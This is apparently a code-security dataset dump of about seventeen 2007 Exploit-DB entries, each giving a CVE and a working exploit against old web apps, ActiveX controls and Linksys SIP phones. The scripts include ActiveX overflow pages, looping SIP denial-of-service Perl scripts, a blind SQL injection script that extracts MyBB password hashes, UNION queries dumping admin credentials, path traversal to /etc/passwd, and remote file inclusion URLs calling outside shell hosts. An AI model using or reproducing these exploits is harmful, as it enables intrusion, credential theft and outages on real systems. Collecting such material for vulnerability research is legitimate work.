QLWD/code_shield huggingface dataset:
标题: Second Sight Software - ActiveGS.ocx ActiveX Buffer Overflow (PoC) EDB-ID: 3788 CVE: 2007-1690 类型: DOS 平台: WINDOWS 发布日期: 2007-04-24 漏洞利用脚本: <!--

  ===============================================================================================
                        Second Sight Software ActiveGS.ocx ActiveX Buffer Overflow POC
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 24-04-2007
 
  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
   
  Reference: https://www.securityfocus.com/bid/23554

  Vendor: http://www.freetoolsassociation.com
          http://www.freetoolsassociation.com/fta/activegs/activegs.cab 

 
  Desc: Many parameters of CLSID 052DF14F-6F28-44A0-9130-294FDA6176EB are vulnerable. This activex gives error like,
      Buffer Overrun detected. This is complied with /GS flag. The all vulnerable parameters are 
       Slot51,Slot52,Slot61,Slot62,Slot7,Slot71,Slot72.

  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke.

-->


<html>

<title>
 Second Sight Software ActiveGS.ocx ActiveX Buffer Overflow POC- By Umesh Wanve
</title>

<body>
<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:052DF14F-6F28-44A0-9130-294FDA6176EB" > </OBJECT>

<script language="vbscript">
targetFile = "C:\Research\activegs\ActiveGS.ocx"
prototype  = "Invoke_Unknown Slot52 As String"
memberName = "Slot52"
progid     = "ActiveGSLib.ActiveGS"
argCount   = 1

arg1=String(940, "A")

target.Slot52 = arg1


</script>

</body>

</html>

# milw0rm.com [2007-04-24] URL: https://www.exploit-db.com/exploits/3788
标题: USP FOSS Distribution 1.01 - 'dnld' Remote File Disclosure EDB-ID: 3794 CVE: 2007-2271 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-24 漏洞利用脚本: # USP FOSS Distribution 1.01(download.php dnld)Remote File Disclosure
# D.Script: http://norcalvex.org/pagode/uspfoss_v1_01.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Dork:intitle:USP FOSS Distribution
# V.Code In /user/download.php:
###################/user/download.php###################
#  <?
#  $file = @$_GET['dnld'];<----[+]
#  header('Content-Description: File Transfer');
#  header('Content-Type: application/force-download');
#  header('Content-Length: ' . filesize($file));
#  header('Content-Disposition: attachment; filename=' . basename($file));
#  readfile($file); <----[+]
#  ?>
########################################################
# Exploit:[Path_USP FOSS]/user/download.php?dnld=../../../../../../etc/passwd
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group & bd0rk

# milw0rm.com [2007-04-24] URL: https://www.exploit-db.com/exploits/3794
标题: GPB Bulletin Board - Multiple Remote File Inclusions EDB-ID: 3786 CVE: 2007-2204 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-24 漏洞利用脚本: #GPB bulletin board Remote file include                                                        

#Download script : http://gpb.sourceforge.net/download/archive/gpb-unstable-2001.11.14-1.tar.gz

#D0rk : Download Script and install it in ur machine

#Exploit :

#http://localhost/[gpb_path]/themes/ubb/login.php?theme=shell.txt?

#http://localhost/gpb/include/db.mysql.inc.php?root_path= shell.txt?

#http://localhost/gpb/include/gpb.inc.php?root_path=shell.txt?

#Discovered by : ThE TiGeR

#Miro_Tiger100[at]hotmail[dot]com

# milw0rm.com [2007-04-24] URL: https://www.exploit-db.com/exploits/3786
标题: Linksys SPA941 - Remote Reboot (Denial of Service) EDB-ID: 3792 CVE: 2007-2270 类型: DOS 平台: HARDWARE 发布日期: 2007-04-24 漏洞利用脚本: #!/usr/bin/perl

 

use IO::Socket;

 

#die "Usage $0 <username> <dst_IP> <Source_IP> <SourcePort>" unless ($ARGV[2]);

die "Usage $0 <username> <dst_IP> <SourceIp> <sourceport>" unless ($ARGV[0]);

 

my $sock = new IO::Socket::INET( LocalHost => $ARGV[2], LocalPort => $ARGV[3], Proto => 'udp');

$socket=new IO::Socket::INET->new(PeerAddr=>$ARGV[1], PeerPort=> '5060', Proto=>'udp', LocalAddr=>$ARGV[2], LocalPort=>'5061');

 

$touser=$ARGV[0];

$target=$ARGV[1];

$sourceaddress=$ARGV[2];

$sourceport=$ARGV[3];

$high=2000;

$low=1;

$fromuserid = int(rand( $high-$low+1 ) ) + $low;

my $cseq = "INVITE";

 

$msg = "INVITE sip:$touser\@$target SIP/2.0\r

Via: SIP/2.0/UDP $sourceaddress:$sourceport;branch=z9hG4bK00000\r

From: \377<sip:$fromuserid\@$sourceaddress>;tag=779\r

To: Receiver <sip:$touser\@$target>\r

Call-ID: 10\@$sourceaddress\r

CSeq: 1 $cseq\r

Contact: 779 <sip:$fromuserid\@$sourceaddress>\r

Expires: 1200\r

Max-Forwards: 70\r

Content-Type: application/sdp\r

Content-Length: 133\r

\r

v=0\r

o=0 0 0 IN IP4 $sourceaddress\r

s=Session SDP\r

c=IN  IP4 $sourceaddress\r

t=0 0\r

m=audio 9876 RTP/AVP 0\r

a=rtpmap:0 PCMU/8000\r";

 

$sock or die "no socket :$!";

while (1){

            $socket->send($msg);

            sleep 90;

            }

# milw0rm.com [2007-04-24] URL: https://www.exploit-db.com/exploits/3792
标题: Advanced Webhost Billing System (AWBS) 2.4.0 - 'cart2.php' Remote File Inclusion EDB-ID: 3795 CVE: 2007-2272 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-24 漏洞利用脚本: #AWBS v2.4.0  Remote file include[cart2.php]

#Demo  : http://www.awbs.com/demo.php

#D0rk : Ä°nurl:awbs.php

#Home Page: Www.SiberAktif.Net

#Exploit


#http://localhost/[gpb_path]/docs/front-end-demo/cart2.php?workdir=http://sh3ll.com/for.txt?


#Discovered by : DamaR

#By.Damar@Hotmail.Com

# milw0rm.com [2007-04-24] URL: https://www.exploit-db.com/exploits/3795
标题: Linksys SPA941 - '\377' Character Remote Denial of Service EDB-ID: 3791 CVE: 2007-2270 类型: DOS 平台: HARDWARE 发布日期: 2007-04-24 漏洞利用脚本: #!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

                       

$msg =

"INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\377\r

Via: SIP/2.0/UDP 192.168.1.2;rport;branch=00\377\r

Max-Forwards: 70\377\r

To: lynksys <sip:$ARGV[2]\@$ARGV[0]>\377\r

From: <sip:tucuman\@192.168.1.2>;tag=00\377\r

Call-ID: tucu\@192.168.1.2\377\r

CSeq: 24865 INVITE\377\r

Contact: <sip:tucu\@192.168.1.2>\377\r

Supported: 100rel\377\r

Content-Length: 0\377\r

\r\n";

 

$socket->send($msg);

# milw0rm.com [2007-04-24] URL: https://www.exploit-db.com/exploits/3791
标题: Second Sight Software - ActiveMod.ocx ActiveX Buffer Overflow (PoC) EDB-ID: 3789 CVE: 2007-1691 类型: DOS 平台: WINDOWS 发布日期: 2007-04-24 漏洞利用脚本: <!--

  ===============================================================================================
                        Second Sight Software ActiveMod.ocx ActiveX Buffer Overflow POC
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 24-04-2007
 
  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
  
  Reference: https://www.securityfocus.com/bid/23554

  Vendor: http://www.freetoolsassociation.com
          http://www.freetoolsassociation.com/fta/activegs/activemod.cab 


  
  Desc: The filename parameter of CLSID 2078D6EC-693C-4FB2-AE7B-A6B8D2BC4DC8 is vulnerable. This activex gives error like,
      Buffer Overrun detected. This is complied with /GS flag.

  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke.

-->


<html>

<title>
 Second Sight Software ActiveMod.ocx ActiveX Buffer Overflow POC - By Umesh Wanve
</title>

<body>
<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:2078D6EC-693C-4FB2-AE7B-A6B8D2BC4DC8" > </OBJECT>

<script language="vbscript">
targetFile = "C:\Research\activemod\ActiveMod.ocx"
prototype  = "Invoke_Unknown Filename As String"
memberName = "Filename"
progid     = "ActiveModLib.ActiveMod"
argCount   = 1

arg1=String(208, "A")

target.Filename = arg1

</script>

</body>

</html>

# milw0rm.com [2007-04-24] URL: https://www.exploit-db.com/exploits/3789
标题: NetSprint Toolbar - ActiveX 'toolbar.dll' Denial of Service (PoC) EDB-ID: 3790 CVE: 2007-2678 类型: DOS 平台: WINDOWS 发布日期: 2007-04-24 漏洞利用脚本: <!--

  ===============================================================================================
                        NetSprint Toolbar ActiveX toolbar.dll DOS POC
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date :     24-04-2007
 
  Tested on: Windows 2000 SP4 Server English
             Windows 2000 SP4 Professional English
  
  Reference: https://www.securityfocus.com/bid/23530

  Vendor:    http://netsprint.pl/toolbar/install.html
         


  
  Desc: This is very interesting vulnerability. The function ischecked() takes URL as string parameter.
       But actually it is not handled by dll. When we don't give any parameter i.e. target.ischecked "" the 
       IE works fine. But when we supply data as parameter the IE crashes. Interestingly you can able to 
       see your data on the stack. But I am not able to overwrite any registers or SEH. So though our
       data is on the stack. Its hard to exploit. So only dos. 

       May be someone can get success in this. Let me know if u find.

  
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke.

-->


<html>

<title>
 NetSprint Toolbar ActiveX toolbar.dll DOS POC - By Umesh Wanve
</title>


<body>
<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:34F459B8-1D37-4FF2-9EFA-192D8E3ABA6F" > </OBJECT>

<script language="vbscript">


targetFile = "C:\WINNT\Downloaded Program Files\toolbar.dll"
prototype  = "Function IsChecked ( ByVal url As String ) As Long"
memberName = "IsChecked"
progid     = "SoftomateLib.SoftomateObj"
argCount   = 1

arg1=String(500, "A")

target.IsChecked arg1

</script>

</body>

</html>

# milw0rm.com [2007-04-24] URL: https://www.exploit-db.com/exploits/3790
标题: wavewoo 0.1.1 - 'loading.php?path_include' Remote File Inclusion EDB-ID: 3796 CVE: 2007-2273 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-24 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Alessandro Lulli wavewoo  Remote File Include Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name: Alessandro Lulli wavewoo
//'[Coded by  : kezzap66345
//'[Author     : kezzap66345
//'[Contact    : kezzap66345@hotmail.com
//'[S.Page     : http://wavewoo.sourceforge.net/
//'[$$         : Free
//'[Download   : http://sourceforge.net/projects/wavewoo/
//'===============================================================================================




    //Basic exploit,but any time : (
  var path="/include"
  var adres="/loading.php?" //File name
  var acik ="path_include=" // Line x
  var shell="http://kezzap66345.by.ru/casus.php?" // Shell Script

  function command(){
      if (document.rfi.target1.value==""){
         alert("Failed..");
     return false;
   }



 rfi.action= document.rfi.target1.value+path+adres+acik+shell;
 rfi.submit(); // Form Submit
  }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Alessandro Lulli wavewoo
Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
   <b><font face="Arial" size="1" color="#FF0000">Target:</font><font
face="Arial" size="1"
color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00"
size="2" face="Arial">
 </font><font color="#FF0000" size="2"></font></b>
 <input type="text" name="target1" size="20" style="background-color:
#808000" onmouseover="javascript:this.style.background='#808080';"
onmouseout="javascript:this.style.background='#808000';"></p>
 <p><input type="submit" value="Gonder" name="B1"><input type="reset"
value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes"
frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">kezzap66345</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-04-24] URL: https://www.exploit-db.com/exploits/3796
标题: Joomla! 1.5.0 Beta - 'pcltar.php' Remote File Inclusion EDB-ID: 3781 CVE: 2007-2199 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: Hi,
Joomla! 1.5.0 is in Beta version and "should NOT to be used for `live`
or `production` sites."
Joomla 1.0.12 has a good security but it seems that Joomla 1.5.0 doesnt
have a good security approach. Anyway, there is a remote file inclusion
in Joomla 1.5.0 Beta :

File /libraries/pcl/pcltar.php, Line 74 :
 if (!defined("PCLERROR_LIB"))
 {
       include($g_pcltar_lib_dir."/pclerror.lib.".$g_pcltar_extension);
 }

POC : http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/?

The original advisory (in Persian) is located at :
http://www.hackers.ir/advisories/joomla.html


- Omid

# milw0rm.com [2007-04-23] URL: https://www.exploit-db.com/exploits/3781
标题: Pagode 0.5.8 - 'navigator_ok.php?asolute' Remote File Disclosure EDB-ID: 3783 CVE: 2007-2200 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: # Pagode 0.5.8(navigator_ok.php asolute)Remote File Disclosure
# D.Script:http://belnet.dl.sourceforge.net/sourceforge/pagode/pagode-0.5.8.tar.gz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# V.Code In /navigator/navigator_ok.php: 
###################/navigator/navigator_ok.php###################
#  <?
#   session_cache_limiter('none');
# session_start();
# include ('../includes/functions.php');
#
# header("Content-Type: application/save-as");
# header("Content-Length: $file_size");
# header("Content-Disposition: attachment; filename=$file_name");
# header("Content-Transfer-Encoding: binary");
# readfile($asolute); <----[+]
# exec("rm -Rf $asolute");
#  ?>
#################################################################
# Exploit:[Path_Pagode]/navigator/navigator_ok.php?asolute=../../../../../../etc/passwd
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group & 020

# milw0rm.com [2007-04-23] URL: https://www.exploit-db.com/exploits/3783
标题: MyBulletinBoard (MyBB) 1.2.5 - 'calendar.php' Blind SQL Injection EDB-ID: 3780 CVE: 2007-2212 2007-2211 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-23 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #############################################################\n";
  print "   #   MyBulletinBoard <= 1.2.5 Remote SQL Injection Exploit   #\n";
  print "   #   Bug found and Exploit coded by 0x86                     #\n";
  print "   #                                                           #\n";
  print "   #   www.geeksec.net                                         #\n";
  print "   #   0x86 [at] geeksec.net                                   #\n";
  print "   #                                                           #\n";
  print "   #   Usage:   perl mybb.pl host path <options>               #\n";
  print "   #   Example: perl mybb.pl www.host.com /mybb/ -u 5          #\n";
  print "   #                                                           #\n";
  print "   #   Options:                                                #\n";
  print "   #     -u    User-ID, default: 1                             #\n";
  print "   #     -p    Proxy support                                   #\n";
  print "   #############################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my %options = ();
GetOptions(\%options, "u=i", "p=s");

print "[+] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

syswrite(STDOUT, "[+] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[+] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."calendar.php?action=dayview&year=2007&month=3&day=1111111'%20OR%20SUBSTRING((SELECT%20password%20FROM%20mybb_users%20WHERE%20uid=".$uid."),".$i.",1)=CHAR(".$h.")/*";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "profile";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2007-04-23] URL: https://www.exploit-db.com/exploits/3780
标题: JChit counter 1.0.0 - 'imgsrv.php?ac' Remote File Disclosure EDB-ID: 3773 CVE: 2007-2184 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-22 漏洞利用脚本: Y! Underground Group
              http://2600.ir

        
        
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

Portal.......:   jchit counter v1.0.0
Download.....:   http://developers.jccorp.net
Type.........:   Remote File Disclosure Vulnerability
Author.......:   Dj7xpl / dj7xpl@2600.ir
HomePage.....:   http://Dj7xpl.2600.ir

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

Bug..........:

imgsrv.php?acc=[Local File]%00
imgsrv.php?acc=../../../../../etc/passwd%00
imgsrv.php?acc=../config.php%00

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-22] URL: https://www.exploit-db.com/exploits/3773
标题: PHP-Ring Webring System 0.9 - SQL Injection EDB-ID: 3774 CVE: 2007-2183 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-22 漏洞利用脚本: Y! Underground Group
              http://2600.ir

        
        
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

Portal.......:   uPHP_ring_website
Download.....:   http://www.undoweb.frih.net , http://undoweb.frih.net/downloads/uPHP_ring_website.zip
Type.........:   Sql Injection Attack
Author.......:   Dj7xpl / dj7xpl@2600.ir
HomePage.....:   http://Dj7xpl.2600.ir

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

Bug..........:

index.php?ring=Sql.Inject

index.php?ring=-1/**/UNION/**/SELECT/**/0,admin_uname,admin_pass/**/FROM/**/ring_admins/*
or
index.php?ring=-1/**/UNION/**/SELECT/**/0,USER_NAME,USER_PASS,1,2,3/**/FROM/**/ring_users/*

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-22] URL: https://www.exploit-db.com/exploits/3774
标题: Supasite 1.23b - Multiple Remote File Inclusions EDB-ID: 3771 CVE: 2007-2185 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-21 漏洞利用脚本: # Supasite v1.23b <= Multiple Remote File Include Vulnerablitiy
# D.Script: http://belnet.dl.sourceforge.net/sourceforge/supasite/supasite1.23b.tar.gz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/supasite/common_functions.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_auth_cookies.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_mods.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_news.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_settings.php?supa[include_path]=Shell
# Exploit:[Path]/supasite/admin_topics.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_users.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/admin_utilities.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/backend_site.php?supa[include_path]=Shell
# Exploit:[Path]/supasite/site_comment.php?supa[db_path]=Shell
# Exploit:[Path]/supasite/site_news.php?supa[db_path]=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group

# milw0rm.com [2007-04-21] URL: https://www.exploit-db.com/exploits/3771
标题: CreaDirectory 1.2 - 'error.asp?id' SQL Injection EDB-ID: 3767 CVE: 2007-2342 类型: WEBAPPS 平台: ASP 发布日期: 2007-04-19 漏洞利用脚本: #Title  : CreaDirectory v1.2 Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://www.creadirectory.com
#Script Page : http://www.creascripts.com/creadirectory.asp

#Vuln.

#Username : /error.asp?id=-1+union+select+0,1,2,user_name,4,5,6,7,8,9,0,1,2,3,4,5+from+members
#Password : /error.asp?id=-1+union+select+0,1,2,ipassword,4,5,6,7,8,9,0,1,2,3,4,5+from+members

#Admin Login : /admin.asp

#Info : Username and Password in browser title !
====================================

Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-04-19] URL: https://www.exploit-db.com/exploits/3767
标题: Mx Module Smartor Album FAP 2.0 RC 1 - Remote File Inclusion EDB-ID: 3766 CVE: 2007-2189 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-19 漏洞利用脚本: ########################################################################

                mxBB Module MX Smartor FAP 2.0 RC1 Remote File Inclusion Vulnerability

               ########################################################################


Class: Remote

Vendor: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=364

Founder: bd0rk

Contact: bd0rk[at]hackermail.com

Vulnerable Code in /admin/admin_album_otf.php

---------------------------------------------------------------------------------------------
define( 'IN_PORTAL', 1 );

if ( !empty( $setmodules ) )
{
 $file = basename( __FILE__ );
 $module['Smartor_Album']['Configuration otf'] = 'modules/mx_smartor/admin/' . $file;
 return;
}

$mx_root_path = './../../../';
$module_root_path = "./../";
$phpEx = substr(strrchr(__FILE__, '.'), 1);
require( $mx_root_path . '/admin/pagestart.' . $phpEx );

include_once($phpbb_root_path . 'includes/functions_validate.'.$phpEx);
---------------------------------------------------------------------------------------------

$phpbb_root_path is not declared before include_once

[+]Exploit: http://[target]/modules/mx_smartor/admin/admin_album_otf.php?phpbb_root_path=Shell?

Shouts: str0ke, TheJT, Lu7k, GolD_M ;-)

# milw0rm.com [2007-04-19] URL: https://www.exploit-db.com/exploits/3766